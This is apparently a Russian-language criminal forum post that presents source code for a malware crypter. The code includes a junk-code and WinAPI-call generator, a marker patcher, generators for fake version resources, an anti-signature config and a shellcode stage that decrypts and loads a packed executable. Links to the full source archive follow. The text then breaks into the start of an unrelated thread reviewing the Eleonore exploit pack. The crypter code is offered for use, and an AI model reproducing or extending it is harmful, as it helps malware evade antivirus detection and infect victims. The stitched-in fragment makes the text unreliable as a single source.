{NULL, NULL, {NULL, PT_ADDVAR, MVT_TIMER}, "CreateTimerQueue",{{NULL,PT_NONE}}},
};

API_TEMPLATE Gdi32_trash_procs[] = {
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "AbortPath", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "AngleArc", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND_FLOAT, 0, 180}, {NULL, PT_RAND_FLOAT, 0, 180}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "AnimatePalette", {{NULL, PT_ADDVAR, MVT_HPALETTE}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {"(const PALETTEENTRY*)", PT_PTR_ANY}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "Arc", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "ArcTo", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "BeginPath", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "BitBlt", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "CancelDC", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "Chord", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_INT32}, "CombineRgn", {{NULL, PT_ADDVAR, MVT_HRGN}, {NULL, PT_ADDVAR, MVT_HRGN}, {NULL, PT_ADDVAR, MVT_HRGN}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "CombineTransform", {{"(LPXFORM)", PT_PTR_ANY}, {"(const XFORM*)", PT_PTR_ANY}, {"(const XFORM*)", PT_PTR_ANY}, {NULL,PT_NONE,0}}},
{ATF_A_OR_W, NULL, {NULL, PT_ADDVAR, MVT_HENHMETAFILE}, "CopyEnhMetaFile", {{NULL, PT_ADDVAR, MVT_HENHMETAFILE}, {NULL, PT_ADDVAR, MVT_PTCHAR}, {NULL,PT_NONE,0}}},
{ATF_A_OR_W, NULL, {NULL, PT_ADDVAR, MVT_HMETAFILE}, "CopyMetaFile", {{NULL, PT_ADDVAR, MVT_HMETAFILE}, {NULL, PT_ADDVAR, MVT_PTCHAR}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_BOOL}, "DPtoLP", {{NULL, PT_ADDVAR, MVT_HDC}, {"(LPPOINT)", PT_PTR_ANY}, {NULL, PT_RAND, 0, 0xFF}, {NULL,PT_NONE,0}}},
{NULL, NULL, {NULL, PT_ADDVAR, MVT_INT32}, "DrawEscape", {{NULL, PT_ADDVAR, MVT_HDC}, {NULL, PT_RAND, 0, 0xFF}, {NULL, PT_RAND, 0, 0xFF}, {"(LPCSTR)", PT_PTR_ANY}, {NULL,PT_NONE,0}}},
...



**Движок позволяет генерировать winapi, принающие на вход целые структуры
данных:**

C:Copy to clipboard



bool mImportKernel32Sysinfo::get_api(mCode& code, WORD api_id, bool is_loop, bool is_trash)
{
PMVAR_INFO var1, var2;

switch( api_id )
{
case 0:
if( procs->get_procs_type()==IPT_A )
{
var1 = procs->get_or_add_var(MVT_OSVERSIONINFOA);
}else{
var1 = procs->get_or_add_var(MVT_OSVERSIONINFOW);
}

switch( var1->userdata )
{
case 0: code << var1->name << ".dwOSVersionInfoSize = sizeof(OSVERSIONINFO" << procs->get_procs_string() << ");"; break;
default:
var2 = procs->get_or_add_var(MVT_BOOL);
code << var2->name << " = GetVersionEx" << procs->get_procs_string() << "(&" << var1->name << ");";
break;
}
var1->userdata++;
break;
case 1:
if( procs->get_procs_type()==IPT_A )
{
var1 = procs->get_or_add_var(MVT_OSVERSIONINFOEXA);
}else{
var1 = procs->get_or_add_var(MVT_OSVERSIONINFOEXW);
}
switch( var1->userdata )
{
case 0: code << var1->name << ".dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX" << procs->get_procs_string() << ");"; break;
case 1:
var2 = procs->get_or_add_var(MVT_BOOL);
code << var2->name << " = GetVersionEx" << procs->get_procs_string() << "((OSVERSIONINFO" << procs->get_procs_string() << "*)&" << var1->name << ");"; break;
default:
var2 = procs->get_or_add_var(MVT_BOOL);
code << var2->name << " = VerifyVersionInfo" << procs->get_procs_string() << "(&" << var1->name << ", " << (1 << random.get_less(0,8)) << ", NULL);";
break;
}
var1->userdata++;
break;
case 2:
var1 = procs->get_or_add_var(MVT_LARGE_INTEGER);
if( var1->userdata==0 )
{
var1->userdata++;

code <<"QueryPerformanceFrequency(&" << var1->name << ");";
}else{
code <<"QueryPerformanceCounter(&" << var1->name << ");";
}

break;
default:
api_id -= 3;
PAPI_TEMPLATE temp = &sysinfo_templates[ api_id ];
procs->parse(code, temp, NULL, is_trash);
break;
}

return true;
}



_Обратим внимание на генерацию CreateFile, как видите можно контролировать
даже уровни доступа.
Обратите внимание на реализацию примитивов в кодогенераторе: add_bits,
add_shift, add_null, add_rand - это по истинце огромный потенциал для развития
проекта._


C:Copy to clipboard



bool mImportKernel32Files::get_api(mCode& code, WORD api_id, bool is_loop, bool is_trash)
{
PMVAR_INFO var;

if( !is_loop )
{
var = procs->get_or_add_var(MVT_FILE);
}else{
var = procs->get_var(MVT_FILE);
if( !var )
return false;
}

if( !var->userdata )
{
MIMPORT_KERNEL32_GROUP_FILES* info = units.get_new_chunk();

var->userdata = (DWORD)info;

info->perm = random.get_less(1,4); // 1 - read , 2 - write

if( procs->get_procs_type()==IPT_A )
{
code << var->name << " = CreateFileA(";
}else{
code << var->name << " = CreateFileW(";
}

add_path(code, 0);

PCHAR Permissions[] = {
"GENERIC_READ",
"GENERIC_WRITE"
};

add_bits(code, TRUE, info->perm, Permissions);
add_shift(code, TRUE, 0, 3); // file share
add_null(code, TRUE); // sec attr
add_rand(code, TRUE, 0, 5); // create attr
add_shift(code, TRUE, 1, 10); // file attr
add_null(code, TRUE); // template

code << ");";

return true;
}

PAPI_TEMPLATE temp = &files_templates[ api_id ];

procs->parse(code, temp, var, is_trash);

return true;
}



**Патчер - mOutputPatcher.cpp**
_Его главная задача промаркировать метки чунков для того чтобы шеллкод при
сборке нашел их и восстановил оригинальный буфер в правильном порядке:
Подробнее смотрите функцию mOutputPatcher::patch_markers().
Если упростить, то на вход подаётся скомпилированный криптованный файл и
сериализованный буфер криптованного файла в x64 - далее он патчит метки чунков
в файле легитимными буферами._

C:Copy to clipboard



void _tmain(int _Argc, PTCHAR argv[])
{
if( _Argc < 2 )
{
_tprintf(_T("Usage: patcher.exe <file> <serialized_data_base64>\r\n"));
return;
}

PTCHAR out_file = argv[1];
PTCHAR patch_file = argv[2];

_tprintf(_T("Output: %s\r\n"), out_file);
_tprintf(_T("Patch data: %s\r\n"), patch_file);

mOutputPatcher patch(out_file);

PMBUF d = file_get_contents(patch_file);

if( patch.unserialize((PCHAR)d->data, d->size) )
{
printf("Total markers: %d\r\n", patch.get_count());

patch.patch_markers();
}else{
printf("Error: unserialize failed!\r\n");
}
}



**Генерация ресурсов:**
_пример генерации версии инфо легитимными словами из списка, не абракадабра.
Добавьте сюда генерацию остальных ресурсов свойственным приложениям из под
копилятора Visual Studio и вариативность таблицы ресурсов вырастет в разы._

C:Copy to clipboard



void mResourceBuilder::generate_version_info()
{
begin_resource();

mCode verinfo(0xFFFF);
CHAR version[256];
CHAR verdot[256];

DWORD a,b,c,d;

a = random.get_less(1,9);
b = random.get_less(0,312);
c = random.get_less(0,312);
d = random.get_less(0,9);

wsprintfA(version,"%d,%d,%d,%d",a,b,c,d);
wsprintfA(verdot,"%d.%d.%d.%d",a,b,c,d);

verinfo << "1 VERSIONINFO\r\n";
verinfo << "\tFILEVERSION " << version << "\r\n";
verinfo << "\tPRODUCTVERSION " << version << "\r\n";
verinfo << "\tFILEOS 0x4\r\n";
verinfo << "\tFILETYPE 0x1\r\n";
verinfo << "\r\n";
verinfo << "\tBEGIN\r\n";
verinfo << "\tBLOCK \"StringFileInfo\"\r\n";
verinfo << "\tBEGIN\r\n";
verinfo << "\t\tBLOCK \"040904E4\"\r\n";
verinfo << "\t\tBEGIN\r\n" ;

verinfo << "\t\t\tVALUE \"Comments\", \""; get_sentence(verinfo, 2, 6); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"CompanyName\", \""; get_sentence(verinfo, 1 , 3); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"FileDescription\", \""; get_sentence(verinfo, 2, 6); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"FileVersion\", \"" << verdot << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"InternalName\", \""; get_sentence(verinfo,1 , 2); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"LegalCopyright\", \"Copyright © "; get_sentence(verinfo, 2, 6); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"LegalTrademarks\", \""; get_sentence(verinfo, 2, 6); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"OriginalFilename\", \"";get_sentence(verinfo,1 , 2); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"ProductName\", \""; get_sentence(verinfo,1 , 2); verinfo << "\\0\"\r\n";
verinfo << "\t\t\tVALUE \"ProductVersion\", \"" << verdot << "\\0\"\r\n";

verinfo << "\t\tEND\r\n" ;
verinfo << "\tEND\r\n" ;
verinfo << "\r\n";

verinfo << "\tBLOCK \"VarFileInfo\"\r\n" ;
verinfo << "\tBEGIN\r\n" ;
verinfo << "\t\tVALUE \"Translation\", 0x081A 0x081A\r\n" ;
verinfo << "\tEND\r\n" ;
verinfo << "END\r\n\r\n" ;

rc.add(verinfo);
total++;
}



**Описание конфига криптора:**

C:Copy to clipboard



MCONFIG_OPTION options[] = {
{"config.not_use_crt_stub",FIELD_OFFSET(mConfig,not_use_crt_stub),COT_DIGIT8}, // генерировать рантайм стаб или код сразу начинается с точки входа
{"config.code.blocks.count.min",FIELD_OFFSET(mConfig,code.blocks.count.min),COT_DIGIT32}, // минимальный размер блока кода
{"config.code.blocks.count.max",FIELD_OFFSET(mConfig,code.blocks.count.max),COT_DIGIT32}, // максимальный размер блока кода
{"config.vars.decryptor.trash_between.min",FIELD_OFFSET(mConfig,vars.decryptor.trash_between.min),COT_DIGIT32}, // минимальный размер операций в блоке кода
{"config.vars.decryptor.trash_between.max",FIELD_OFFSET(mConfig,vars.decryptor.trash_between.max),COT_DIGIT32}, // максимальный размер операций в блоке кода
{"config.shellcode.trash_after.min",FIELD_OFFSET(mConfig,shellcode.trash_after.min),COT_DIGIT32}, // минимальный размер мусорного кода после шеллкода
{"config.shellcode.trash_after.max",FIELD_OFFSET(mConfig,shellcode.trash_after.max),COT_DIGIT32}, // максимальный размер мусорного кода после шеллкода
{"config.shellcode.trash_before.min",FIELD_OFFSET(mConfig,shellcode.trash_before.min),COT_DIGIT32}, // минимальный размер мусорного кода до шеллкода
{"config.shellcode.trash_before.max",FIELD_OFFSET(mConfig,shellcode.trash_before.max),COT_DIGIT32}, // максимальный размер мусорного кода до шеллкода
{"config.code.block_loop.max_levels",FIELD_OFFSET(mConfig,code.block_loop.max_levels),COT_DIGIT8}, // уровень глубины в циклах
{"config.code.block_loop.interations.min",FIELD_OFFSET(mConfig,code.block_loop.interations.min),COT_DIGIT32}, // минимальное кол-во итераций в цикле
{"config.code.block_loop.interations.max",FIELD_OFFSET(mConfig,code.block_loop.interations.max),COT_DIGIT32}, // максимальный кол-во итераций в цикле
{"config.code.block_loop.inner_blocks.min",FIELD_OFFSET(mConfig,code.block_loop.inner_blocks.min),COT_DIGIT32}, // минимальное размер внутреннего блока кода
{"config.code.block_loop.inner_blocks.max",FIELD_OFFSET(mConfig,code.block_loop.inner_blocks.max),COT_DIGIT32}, // максимальный размер внутреннего блока кода
{"config.code.block_if.inner_blocks.min",FIELD_OFFSET(mConfig,code.block_if.inner_blocks.min),COT_DIGIT32}, // минимальное кол-во условий во внутреннем блоке кода
{"config.code.block_if.inner_blocks.max",FIELD_OFFSET(mConfig,code.block_if.inner_blocks.max),COT_DIGIT32}, // максимальный кол-во условий во внутреннем блоке кода
{"config.code.block_if.max_levels",FIELD_OFFSET(mConfig,code.block_if.max_levels),COT_DIGIT8}, // максимальное кол-во уровней условий
{"config.image.extend.min",FIELD_OFFSET(mConfig,image.extend.min),COT_DIGIT32},
{"config.image.extend.max",FIELD_OFFSET(mConfig,image.extend.max),COT_DIGIT32},
{"config.image.rdata",FIELD_OFFSET(mConfig,image.rdata),COT_DIGIT8},
{"config.image.data",FIELD_OFFSET(mConfig,image.data),COT_DIGIT8},
{"config.code.usage.papi",FIELD_OFFSET(mConfig,code.usage.api),COT_DIGIT8}, // разрешить использование генерации api
{"config.code.usage.pcode",FIELD_OFFSET(mConfig,code.usage.code),COT_DIGIT8}, // разрешить использование генерации мусорного кода
{"config.code.usage.ploop",FIELD_OFFSET(mConfig,code.usage.loop),COT_DIGIT8}, // разрешить использование циклов в генерации кода
{"config.code.usage.pif",FIELD_OFFSET(mConfig,code.usage._if),COT_DIGIT8}, // разрешить использование условий в генерации кода
{"config.code.block_code.add",FIELD_OFFSET(mConfig,code.block_code.add),COT_DIGIT8}, // разрешить использование операций сложения в генерации кода
{"config.code.block_code.sub",FIELD_OFFSET(mConfig,code.block_code.sub),COT_DIGIT8}, // всё понятно
{"config.code.block_code.mul",FIELD_OFFSET(mConfig,code.block_code.mul),COT_DIGIT8}, // всё понятно
{"config.code.block_code.div",FIELD_OFFSET(mConfig,code.block_code.div),COT_DIGIT8}, // всё понятно
{"config.code.block_code.mod",FIELD_OFFSET(mConfig,code.block_code.mod),COT_DIGIT8}, // всё понятно
{"config.code.block_code.shl",FIELD_OFFSET(mConfig,code.block_code.shl),COT_DIGIT8}, // всё понятно
{"config.code.block_code.shr",FIELD_OFFSET(mConfig,code.block_code.shr),COT_DIGIT8}, // всё понятно
{"config.code.block_code.and",FIELD_OFFSET(mConfig,code.block_code.and),COT_DIGIT8}, // всё понятно
{"config.code.block_code.xor",FIELD_OFFSET(mConfig,code.block_code.xor),COT_DIGIT8}, // всё понятно
{"config.code.block_code.or",FIELD_OFFSET(mConfig,code.block_code.or),COT_DIGIT8}, // всё понятно
{"config.vars.usage_left.globals",FIELD_OFFSET(mConfig,vars.usage_left.globals),COT_DIGIT8}, //
{"config.vars.usage_left.locals",FIELD_OFFSET(mConfig,vars.usage_left.locals),COT_DIGIT8},
{"config.vars.usage_left.formals",FIELD_OFFSET(mConfig,vars.usage_left.formals),COT_DIGIT8},
{"config.vars.usage_right.globals",FIELD_OFFSET(mConfig,vars.usage_right.globals),COT_DIGIT8},
{"config.vars.usage_right.locals",FIELD_OFFSET(mConfig,vars.usage_right.locals),COT_DIGIT8},
{"config.vars.usage_right.formals",FIELD_OFFSET(mConfig,vars.usage_right.formals),COT_DIGIT8},
{"config.vars.usage_api.globals",FIELD_OFFSET(mConfig,vars.usage_api.globals),COT_DIGIT8},
{"config.vars.usage_api.locals",FIELD_OFFSET(mConfig,vars.usage_api.locals),COT_DIGIT8},
{"config.vars.types.int8",FIELD_OFFSET(mConfig,vars.types[MVT_INT8]),COT_DIGIT8},
{"config.vars.types.int16",FIELD_OFFSET(mConfig,vars.types[MVT_INT16]),COT_DIGIT8},
{"config.vars.types.int32",FIELD_OFFSET(mConfig,vars.types[MVT_INT32]),COT_DIGIT8},
{"config.vars.types.int64",FIELD_OFFSET(mConfig,vars.types[MVT_INT64]),COT_DIGIT8},
{"config.vars.types.uint8",FIELD_OFFSET(mConfig,vars.types[MVT_UINT8]),COT_DIGIT8},
{"config.vars.types.uint16",FIELD_OFFSET(mConfig,vars.types[MVT_UINT16]),COT_DIGIT8},
{"config.vars.types.uint32",FIELD_OFFSET(mConfig,vars.types[MVT_UINT32]),COT_DIGIT8},
{"config.vars.types.uint64",FIELD_OFFSET(mConfig,vars.types[MVT_UINT64]),COT_DIGIT8},
{"config.vars.getoradd.code.globals.add",FIELD_OFFSET(mConfig,vars.getoradd.code.globals.add),COT_DIGIT8},
{"config.vars.getoradd.code.globals.get",FIELD_OFFSET(mConfig,vars.getoradd.code.globals.get),COT_DIGIT8},
{"config.vars.getoradd.code.locals.add",FIELD_OFFSET(mConfig,vars.getoradd.code.locals.add),COT_DIGIT8},
{"config.vars.getoradd.code.locals.get",FIELD_OFFSET(mConfig,vars.getoradd.code.locals.get),COT_DIGIT8},
{"config.vars.getoradd.api.globals.add",FIELD_OFFSET(mConfig,vars.getoradd.api.globals.add),COT_DIGIT8},
{"config.vars.getoradd.api.globals.get",FIELD_OFFSET(mConfig,vars.getoradd.api.globals.get),COT_DIGIT8},
{"config.vars.getoradd.api.locals.add",FIELD_OFFSET(mConfig,vars.getoradd.api.locals.add),COT_DIGIT8},
{"config.vars.getoradd.api.locals.get",FIELD_OFFSET(mConfig,vars.getoradd.api.locals.get),COT_DIGIT8},
{"config.vars.initialization.globals.yes",FIELD_OFFSET(mConfig,vars.initialization.globals.yes),COT_DIGIT8},
{"config.vars.initialization.globals.no",FIELD_OFFSET(mConfig,vars.initialization.globals.no),COT_DIGIT8},
{"config.vars.initialization.locals.yes",FIELD_OFFSET(mConfig,vars.initialization.locals.yes),COT_DIGIT8},
{"config.vars.initialization.locals.no",FIELD_OFFSET(mConfig,vars.initialization.locals.no),COT_DIGIT8},
{"config.vars.initialization.types.t_int8.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_int8.min),COT_DIGIT32},
{"config.vars.initialization.types.t_int8.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_int8.max),COT_DIGIT32},
{"config.vars.initialization.types.t_int16.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_int16.min),COT_DIGIT32},
{"config.vars.initialization.types.t_int16.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_int16.max),COT_DIGIT32},
{"config.vars.initialization.types.t_int32.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_int32.min),COT_DIGIT32},
{"config.vars.initialization.types.t_int32.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_int32.max),COT_DIGIT32},
{"config.vars.initialization.types.t_int64.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_int64.min),COT_DIGIT64},
{"config.vars.initialization.types.t_int64.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_int64.max),COT_DIGIT64},
{"config.vars.initialization.types.t_uint8.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint8.min),COT_DIGIT32},
{"config.vars.initialization.types.t_uint8.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint8.max),COT_DIGIT32},
{"config.vars.initialization.types.t_uint16.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint16.min),COT_DIGIT32},
{"config.vars.initialization.types.t_uint16.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint16.max),COT_DIGIT32},
{"config.vars.initialization.types.t_uint32.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint32.min),COT_DIGIT32},
{"config.vars.initialization.types.t_uint32.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint32.max),COT_DIGIT32},
{"config.vars.initialization.types.t_uint64.min",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint64.min),COT_DIGIT64},
{"config.vars.initialization.types.t_uint64.max",FIELD_OFFSET(mConfig,vars.initialization.types.t_uint64.max),COT_DIGIT64},
{"config.vars.path.length.min",FIELD_OFFSET(mConfig,vars.path.length.min),COT_DIGIT32},
{"config.vars.path.length.max",FIELD_OFFSET(mConfig,vars.path.length.max),COT_DIGIT32},
};



**Сам конфиг:**
_config.ini_

C:Copy to clipboard



// max blocks count range
config.code.blocks.count.min = 5000;
config.code.blocks.count.max = 20000;

// after each decryptor command, will added trash, anti signature
config.vars.decryptor.trash_between.min = 2;
config.vars.decryptor.trash_between.max = 5;

// trash_before + shellcode + orig_file + trash_after
config.shellcode.trash_after.min = 25;
config.shellcode.trash_after.max = 35;
config.shellcode.trash_before.min = 25;
config.shellcode.trash_before.max = 45;

config.code.block_loop.max_levels = 3; // for in for in for ....
config.code.block_loop.interations.min = 10;
config.code.block_loop.interations.max = 100;
config.code.block_loop.inner_blocks.min = 10;
config.code.block_loop.inner_blocks.max = 50;

config.code.block_if.inner_blocks.min = 5;
config.code.block_if.inner_blocks.max = 8;
config.code.block_if.max_levels = 3; // if in if in if

// if crypted_sizeofimage < orig_sizeofimage then add fake_data + fake_rdata + config.image.extend
config.image.extend.min = 0;
config.image.extend.max = 12000;
config.image.rdata = 60;
config.image.data = 40;

// blocks percentage
config.code.usage.papi = 5;
config.code.usage.pcode = 10;
config.code.usage.ploop = 20;
config.code.usage.pif = 5;

// operators in code block after =, += ,-=,...
config.code.block_code.groups.min = 1; // ONLY 1 NOT CHANGE!!!
config.code.block_code.groups.max = 1; // ONLY 1 NOT CHANGE!!!

// not used anymore
config.code.block_code.subgroup.min = 5;
config.code.block_code.subgroup.max = 5;

// commands percentage
config.code.block_code.add = 30;
config.code.block_code.sub = 30;
config.code.block_code.mul = 10;
config.code.block_code.div = 5;
config.code.block_code.mod = 0; // MUSTFIX: DO NOT USE, EMULATION ERRORS
config.code.block_code.shl = 5;
config.code.block_code.shr = 5;
config.code.block_code.and = 10;
config.code.block_code.xor = 5;
config.code.block_code.or = 5;

// which types of variables will be created
config.vars.usage.globals = 20;
config.vars.usage.locals = 35;
config.vars.usage.formals = 35;

// which types of variables will be generated BYTE, WORD, DWORD, DWORD64 ...
config.vars.types.t_int8 = 15;
config.vars.types.t_int16 = 15;
config.vars.types.t_int32 = 20;
config.vars.types.t_int64 = 0;
config.vars.types.t_uint8 = 15;
config.vars.types.t_uint16 = 15;
config.vars.types.t_uint32 = 20;
config.vars.types.t_uint64 = 0;

// vars get or add variable, if get fails with type then auto add
config.vars.getoradd.code.globals.add = 50;
config.vars.getoradd.code.globals.get = 50;

config.vars.getoradd.code.locals.add = 20;
config.vars.getoradd.code.locals.get = 80;

config.vars.getoradd.api.globals.add = 50;
config.vars.getoradd.api.globals.get = 50;

config.vars.getoradd.api.locals.add = 50;
config.vars.getoradd.api.locals.get = 50;

// initialize globals
config.vars.initialization.globals.yes = 100;
config.vars.initialization.globals.no = 0;

// initialize locals
config.vars.initialization.locals.yes = 0;
config.vars.initialization.locals.no = 100;

// initialization value ranges, may be for entropy
config.vars.initialization.types.t_int8.min = 0;
config.vars.initialization.types.t_int8.max = 0x7F; // max 0x7F
config.vars.initialization.types.t_int16.min = 0;
config.vars.initialization.types.t_int16.max = 0x7FFF; // max 0x7FFF
config.vars.initialization.types.t_int32.min = 0;
config.vars.initialization.types.t_int32.max = 0x7FFFFFFF; // max 0x7FFFFFFF
config.vars.initialization.types.t_int64.min = 0x70000000000000;
config.vars.initialization.types.t_int64.max = 0x7FFFFFFFFFFFFF; // max 0x7FFFFFFFFFFFFFFF

config.vars.initialization.types.t_uint8.min = 0;
config.vars.initialization.types.t_uint8.max = -1;
config.vars.initialization.types.t_uint16.min = 0;
config.vars.initialization.types.t_uint16.max = -1;
config.vars.initialization.types.t_uint32.min = 0;
config.vars.initialization.types.t_uint32.max = -1;
config.vars.initialization.types.t_uint64.min = 0x70000000000000;
config.vars.initialization.types.t_uint64.max = 0x7FFFFFFFFFFFFF;

// path for CreateFile
config.vars.path.length.min = 2;
config.vars.path.length.max = 6;



**В файле ldr_restore.cpp у нас первый слой шеллкода.**
_Его задача восстановить чунки файла, расшифровать буфер, получить параметры
структуры LDR_PE_LOADER_PARAMS и передать в загрузчик._

C:Copy to clipboard



#include <windows.h>
#include <intrin.h>

#pragma pack(push,1)

typedef struct _LDR_RESTORE_PARAMS
{
PBYTE orig_data;
PBYTE entr_data;
DWORD_PTR base;
}LDR_RESTORE_PARAMS, *PLDR_RESTORE_PARAMS;

typedef struct _LDR_PE_LOADER_PARAMS
{
DWORD_PTR base;
PVOID file;
DWORD file_size;
DWORD flags;
}LDR_PE_LOADER_PARAMS, *PLDR_PE_LOADER_PARAMS;

#pragma pack(pop)

typedef void (WINAPI *TD_ldr_pe_loader)(PLDR_PE_LOADER_PARAMS params);

void ldr_restore_ep(PLDR_RESTORE_PARAMS params)
{
DWORD entr_hash = 0x%ENTR_HASH%;

PBYTE entr_data = params->entr_data;
PBYTE entr_end = entr_data + 0x%ENTR_SIZE%;
PBYTE orig_data = params->orig_data;

UINT32 j,i = 0;
while( i < 0x%ADDED_BYTES% )
{
DWORD pos = entr_hash%max_step;
DWORD npart = max_step - (pos + 1);

j = 0;
while( j < max_step )
{
if( j!=pos )
{
*orig_data++ = *entr_data++;
}else{
entr_data = entr_data + 1;
}
j++;
}

%HASH_STRING%

i++;
}

__movsb(orig_data, entr_data, (entr_end - entr_data));

DWORD decr_hash = 0x%DECRYPT_INIT_HASH%;

i = 0;
while( i < %ORIG_SIZE% )
{
%DECRYPT%
%DECRYPT_CALC_HASH%
i++;
}

LDR_PE_LOADER_PARAMS pe_params;

pe_params.base = params->base;
pe_params.file = params->orig_data + %LDR_PE_LOADER_SIZE%;
pe_params.file_size = %FILE_SIZE%;
pe_params.flags = 0x%FLAGS%;

TD_ldr_pe_loader loader = (TD_ldr_pe_loader)params->orig_data;

loader(&pe_params);
}



Как видите, в дебагере код выглядит вполне себе результативно и не отличается
от точки входа любого легитимного приложения.
![ep_code.png](https://xss.is/attachments/11577/)


Играя параметрами кодогенератора на уровне конфига можно получить очень
вариативный результат в неограниченном количестве.
![ep_code_compare.png](https://xss.is/attachments/11578/)
_* В целях дебага на данном примере аргументы winapi вызовов были установлены
в NULL._


**Поток управления на трех семплах:**
![ida_flow.png](https://xss.is/attachments/11631/)
_* Сгенерированные для статьи семплы использовались с лайт конфигом, т.е.
минимум генерации мусорного кода, вин апи. Можно отжать педаль в
пол![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)_

p.s.
Файл wordlist.txt - список английских слов, используется во время генерации
кода и ресурсов.
В файле readme.txt вас бонусом ждет мой небольшой список наблюдений по
детектам
![:\)](data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)
Файл солюшена и сам криптор собирался под 2013 студией, не должно быть
проблемой собрать на более поздних.
В качестве компилятора используется урезанный компилятор из 2008 студии,
можете поменять на более свежий.
Криптор умеет криптовать DLL\EXE х32\х64.

**Файлы к статье:**
__src.zip (53.533 MB)_

Hidden content for authorized users.

hxxp://www.fileconvoy.com/dfl.php?id=g2fd7b546a883c96f10002622518e67cfe3724d171d


Зеркало:

Hidden content for authorized users.

hxxps://mega.nz/file/UEhETAqQ#7YQRXFg_sCfA15XdtT3K3_HKoucE9XZ6bockVV13lws


В целях противодействию ресейлу модифицированной версии криптора
неблагонадежными персонами ввожу легкий антинуб пасс.
Пароль на архив: **xss.is** -> **base64** -> **reverse_str** -> **sha256**
Прошу администрацию перезалить архив на более адеквантый файлообменник (mega
etc).

Ниже приведен пример сгенерированного кода.

Eleonore exploits pack

Author: Ar3s • 2009-08-04T13:49:50+0000 • Replies: 52 • Views: 35K
![](/proxy.php?image=http%3A%2F%2Fimg148.imageshack.us%2Fimg148%2F2586%2Flogonil.jpg&hash=a3d875dc5497ae683f1ed14f32731763)

Приятного времени суток уважаемые читатели DL.
Сегодня я вновь выхожу на связь с обзором связки, посетившей наш рынок.

Итак знакомьтесь Eleonore Exp v1.0

\-----------------------------=====**Описание**
=====----------------------------
Описание от автора:
